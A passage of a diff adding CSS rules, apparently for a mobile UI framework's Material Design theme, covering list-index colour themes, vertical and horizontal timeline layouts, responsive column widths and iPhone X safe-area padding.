.list-index-skip-placeholder:after, +.md .color-theme-pink .list-index .list-index-label, +.md .list-index.color-theme-pink .list-index-label { + background-color: #e91e63; +} +.md .color-theme-yellow .list-index ul, +.md .list-index.color-theme-yellow ul { + color: #ffeb3b; +} +.md .color-theme-yellow .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-yellow .list-index-skip-placeholder:after, +.md .color-theme-yellow .list-index .list-index-label, +.md .list-index.color-theme-yellow .list-index-label { + background-color: #ffeb3b; +} +.md .color-theme-orange .list-index ul, +.md .list-index.color-theme-orange ul { + color: #ff9800; +} +.md .color-theme-orange .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-orange .list-index-skip-placeholder:after, +.md .color-theme-orange .list-index .list-index-label, +.md .list-index.color-theme-orange .list-index-label { + background-color: #ff9800; +} +.md .color-theme-gray .list-index ul, +.md .list-index.color-theme-gray ul { + color: #9e9e9e; +} +.md .color-theme-gray .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-gray .list-index-skip-placeholder:after, +.md .color-theme-gray .list-index .list-index-label, +.md .list-index.color-theme-gray .list-index-label { + background-color: #9e9e9e; +} +.md .color-theme-white .list-index ul, +.md .list-index.color-theme-white ul { + color: #ffffff; +} +.md .color-theme-white .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-white .list-index-skip-placeholder:after, +.md .color-theme-white .list-index .list-index-label, +.md .list-index.color-theme-white .list-index-label { + background-color: #ffffff; +} +.md .color-theme-black .list-index ul, +.md .list-index.color-theme-black ul { + color: #000000; +} +.md .color-theme-black .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-black .list-index-skip-placeholder:after, +.md .color-theme-black .list-index .list-index-label, +.md .list-index.color-theme-black .list-index-label { + background-color: #000000; +} +.md .list-index.color-red ul { + color: #f44336; +} +.md .list-index.color-red .list-index-skip-placeholder:after, +.md .list-index.color-red .list-index-label { + background-color: #f44336; +} +.md .list-index.color-green ul { + color: #4caf50; +} +.md .list-index.color-green .list-index-skip-placeholder:after, +.md .list-index.color-green .list-index-label { + background-color: #4caf50; +} +.md .list-index.color-blue ul { + color: #2196f3; +} +.md .list-index.color-blue .list-index-skip-placeholder:after, +.md .list-index.color-blue .list-index-label { + background-color: #2196f3; +} +.md .list-index.color-pink ul { + color: #e91e63; +} +.md .list-index.color-pink .list-index-skip-placeholder:after, +.md .list-index.color-pink .list-index-label { + background-color: #e91e63; +} +.md .list-index.color-yellow ul { + color: #ffeb3b; +} +.md .list-index.color-yellow .list-index-skip-placeholder:after, +.md .list-index.color-yellow .list-index-label { + background-color: #ffeb3b; +} +.md .list-index.color-orange ul { + color: #ff9800; +} +.md .list-index.color-orange .list-index-skip-placeholder:after, +.md .list-index.color-orange .list-index-label { + background-color: #ff9800; +} +.md .list-index.color-gray ul { + color: #9e9e9e; +} +.md .list-index.color-gray .list-index-skip-placeholder:after, +.md .list-index.color-gray .list-index-label { + background-color: #9e9e9e; +} +.md .list-index.color-white ul { + color: #ffffff; +} +.md .list-index.color-white .list-index-skip-placeholder:after, +.md .list-index.color-white .list-index-label { + background-color: #ffffff; +} +.md .list-index.color-black ul { + color: #000000; +} +.md .list-index.color-black .list-index-skip-placeholder:after, +.md .list-index.color-black .list-index-label { + background-color: #000000; +} +/* === Timeline === */ +.timeline { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.block-strong .timeline { + padding: 0; + margin: 0; +} +.timeline-item { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.timeline-item-date { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 50px; + text-align: right; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-date small { + font-size: 10px; +} +.timeline-item-content { + margin: 2px; + min-width: 0; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.timeline-item-content p:first-child, +.timeline-item-content ul:first-child, +.timeline-item-content ol:first-child, +.timeline-item-content h1:first-child, +.timeline-item-content h2:first-child, +.timeline-item-content h3:first-child, +.timeline-item-content h4:first-child { + margin-top: 0; +} +.timeline-item-content p:last-child, +.timeline-item-content ul:last-child, +.timeline-item-content ol:last-child, +.timeline-item-content h1:last-child, +.timeline-item-content h2:last-child, +.timeline-item-content h3:last-child, +.timeline-item-content h4:last-child { + margin-bottom: 0; +} +.timeline-item-inner { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-inner .block { + padding: 0; + color: inherit; +} +.timeline-item-inner .block-strong { + padding-left: 0; + padding-right: 0; + margin: 0; +} +.timeline-item-inner .block-strong:before { + display: none !important; +} +.timeline-item-inner .block-strong:after { + display: none !important; +} +.timeline-item-inner .list ul:before { + display: none !important; +} +.timeline-item-inner .list ul:after { + display: none !important; +} +.timeline-item-divider { + width: 1px; + position: relative; + width: 10px; + height: 10px; + background: #bbb; + border-radius: 50%; + margin-top: 3px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.timeline-item-divider:after, +.timeline-item-divider:before { + content: ' '; + width: 1px; + height: 100vh; + position: absolute; + left: 50%; + background: inherit; + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); +} +.timeline-item-divider:after { + top: 100%; +} +.timeline-item-divider:before { + bottom: 100%; +} +.timeline-item:last-child .timeline-item-divider:after { + display: none; +} +.timeline-item:first-child .timeline-item-divider:before { + display: none; +} +.timeline-item-time { + font-size: 13px; +} +.timeline-item-time:first-child, +.timeline-item-time:last-child { + margin-top: 0; +} +.timeline-item-title + .timeline-item-time { + margin-top: 0; +} +.timeline-horizontal { + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.timeline-horizontal .timeline-item { + display: block; + width: 33.33333333vw; + margin: 0; + padding: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + position: relative; + height: 100%; +} +.timeline-horizontal .timeline-item-date { + width: auto; + line-height: 34px; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 34px; + text-align: left; +} +.timeline-horizontal .timeline-item-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + margin: 0; +} +.timeline-horizontal .timeline-item-divider { + display: none; +} +.timeline-horizontal.col-100 .timeline-item { + width: 100vw; +} +.timeline-horizontal.col-95 .timeline-item { + width: 95vw; +} +.timeline-horizontal.col-90 .timeline-item { + width: 90vw; +} +.timeline-horizontal.col-85 .timeline-item { + width: 85vw; +} +.timeline-horizontal.col-80 .timeline-item { + width: 80vw; +} +.timeline-horizontal.col-75 .timeline-item { + width: 75vw; +} +.timeline-horizontal.col-70 .timeline-item { + width: 70vw; +} +.timeline-horizontal.col-66 .timeline-item { + width: 66.66666666666666vw; +} +.timeline-horizontal.col-65 .timeline-item { + width: 65vw; +} +.timeline-horizontal.col-60 .timeline-item { + width: 60vw; +} +.timeline-horizontal.col-55 .timeline-item { + width: 55vw; +} +.timeline-horizontal.col-50 .timeline-item { + width: 50vw; +} +.timeline-horizontal.col-45 .timeline-item { + width: 45vw; +} +.timeline-horizontal.col-40 .timeline-item { + width: 40vw; +} +.timeline-horizontal.col-35 .timeline-item { + width: 35vw; +} +.timeline-horizontal.col-33 .timeline-item { + width: 33.333333333333336vw; +} +.timeline-horizontal.col-30 .timeline-item { + width: 30vw; +} +.timeline-horizontal.col-25 .timeline-item { + width: 25vw; +} +.timeline-horizontal.col-20 .timeline-item { + width: 20vw; +} +.timeline-horizontal.col-15 .timeline-item { + width: 15vw; +} +.timeline-horizontal.col-10 .timeline-item { + width: 10vw; +} +.timeline-horizontal.col-5 .timeline-item { + width: 5vw; +} +@media (min-width: 768px) { + .timeline-horizontal.tablet-100 .timeline-item { + width: 100vw; + } + .timeline-horizontal.tablet-95 .timeline-item { + width: 95vw; + } + .timeline-horizontal.tablet-90 .timeline-item { + width: 90vw; + } + .timeline-horizontal.tablet-85 .timeline-item { + width: 85vw; + } + .timeline-horizontal.tablet-80 .timeline-item { + width: 80vw; + } + .timeline-horizontal.tablet-75 .timeline-item { + width: 75vw; + } + .timeline-horizontal.tablet-70 .timeline-item { + width: 70vw; + } + .timeline-horizontal.tablet-66 .timeline-item { + width: 66.66666666666666vw; + } + .timeline-horizontal.tablet-65 .timeline-item { + width: 65vw; + } + .timeline-horizontal.tablet-60 .timeline-item { + width: 60vw; + } + .timeline-horizontal.tablet-55 .timeline-item { + width: 55vw; + } + .timeline-horizontal.tablet-50 .timeline-item { + width: 50vw; + } + .timeline-horizontal.tablet-45 .timeline-item { + width: 45vw; + } + .timeline-horizontal.tablet-40 .timeline-item { + width: 40vw; + } + .timeline-horizontal.tablet-35 .timeline-item { + width: 35vw; + } + .timeline-horizontal.tablet-33 .timeline-item { + width: 33.333333333333336vw; + } + .timeline-horizontal.tablet-30 .timeline-item { + width: 30vw; + } + .timeline-horizontal.tablet-25 .timeline-item { + width: 25vw; + } + .timeline-horizontal.tablet-20 .timeline-item { + width: 20vw; + } + .timeline-horizontal.tablet-15 .timeline-item { + width: 15vw; + } + .timeline-horizontal.tablet-10 .timeline-item { + width: 10vw; + } + .timeline-horizontal.tablet-5 .timeline-item { + width: 5vw; + } +} +.timeline-horizontal .timeline-year, +.timeline-horizontal .timeline-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + padding-top: 24px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; +} +.timeline-horizontal .timeline-year-title, +.timeline-horizontal .timeline-month-title { + position: absolute; + left: 0; + top: 0; + width: 100%; + line-height: 24px; + height: 24px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-horizontal .timeline-year-title span, +.timeline-horizontal .timeline-month-title span { + display: inline-block; + position: -webkit-sticky; + position: sticky; +} +.timeline-horizontal .timeline-year-title { + font-size: 16px; +} +.timeline-horizontal .timeline-month-title span { + margin-top: -2px; +} +/* === Timeline MD === */ +.md .timeline { + margin: 32px 0; + padding: 0 16px; +} +.md .block-strong .timeline { + padding: 0; + margin: 0; +} +.md .timeline-item { + padding: 2px 0px 16px; +} +.md .timeline-item:last-child { + padding-bottom: 2px; +} +.md .timeline-item-content .card, +.md .timeline-item-content.card, +.md .timeline-item-content .list, +.md .timeline-item-content.list, +.md .timeline-item-content .block, +.md .timeline-item-content.block { + margin: 0; + width: 100%; +} +.md .timeline-item-content .card + .card, +.md .timeline-item-content .list + .card, +.md .timeline-item-content .block + .card, +.md .timeline-item-content .card + .list, +.md .timeline-item-content .list + .list, +.md .timeline-item-content .block + .list, +.md .timeline-item-content .card + .block, +.md .timeline-item-content .list + .block, +.md .timeline-item-content .block + .block { + margin: 16px 0 0; +} +.md .timeline-item-inner { + border-radius: 2px; + padding: 8px 16px; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .timeline-item-inner + .timeline-item-inner { + margin-top: 16px; +} +.md .timeline-item-divider { + margin-left: 16px; + margin-right: 16px; +} +.md .timeline-item-time { + margin-top: 16px; + color: rgba(0, 0, 0, 0.54); +} +.md .timeline-item-time:first-child { + margin-top: 0; +} +.md .timeline-item-title { + font-size: 16px; +} +.md .timeline-sides .timeline-item { + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; +} +.md .timeline-sides .timeline-item .timeline-item-date { + text-align: right; +} +.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; +} +.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: left; +} +.md .timeline-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; +} +.md .timeline-sides .timeline-item-left .timeline-item-date { + text-align: left; +} +.md .timeline-sides .timeline-item-right { + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; +} +.md .timeline-sides .timeline-item-right .timeline-item-date { + text-align: right; +} +@media (min-width: 768px) { + .md .tablet-sides .timeline-item { + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; + } + .md .tablet-sides .timeline-item .timeline-item-date { + text-align: right; + } + .md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; + } + .md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: left; + } + .md .tablet-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; + } + .md .tablet-sides .timeline-item-left .timeline-item-date { + text-align: left; + } + .md .tablet-sides .timeline-item-right { + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; + } + .md .tablet-sides .timeline-item-right .timeline-item-date { + text-align: right; + } +} +.md .timeline-horizontal { + padding: 0; + margin: 0; + position: relative; +} +.md .timeline-horizontal .timeline-item { + padding-top: 34px !important; + padding-bottom: 12px; +} +.md .timeline-horizontal .timeline-item-date { + background: #2196f3; + padding: 0px 12px; + color: #fff; +} +.md .timeline-horizontal .timeline-item-date:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .timeline-horizontal .timeline-item-content { + padding: 12px; + height: calc(100% - 12px); +} +.md .timeline-horizontal.no-shadow .timeline-item-date:after { + display: none; +} +.md .timeline-horizontal .timeline-item:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.md .timeline-horizontal .timeline-item:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .timeline-year-title, +.md .timeline-month-title { + padding: 0 12px; + color: #fff; + background: #2196f3; +} +.md .timeline-year-title span, +.md .timeline-month-title span { + left: 12px; +} +.md .timeline-year-title span { + margin-top: 2px; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span { + left: calc(12px + constant(safe-area-inset-left)); + left: calc(12px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title { + left: -44px; + right: 0; + width: auto; + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item { + overflow: visible; + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date { + width: auto; + padding-left: calc(12px + constant(safe-area-inset-left)); + padding-left: calc(12px + env(safe-area-inset-left)); + left: calc(0px - constant(safe-area-inset-left)); + left: calc(0px - env(safe-area-inset-left)); + right: 0; + } + .md.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .md.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal) { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .md.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .md.device-iphone-x .sheet-modal 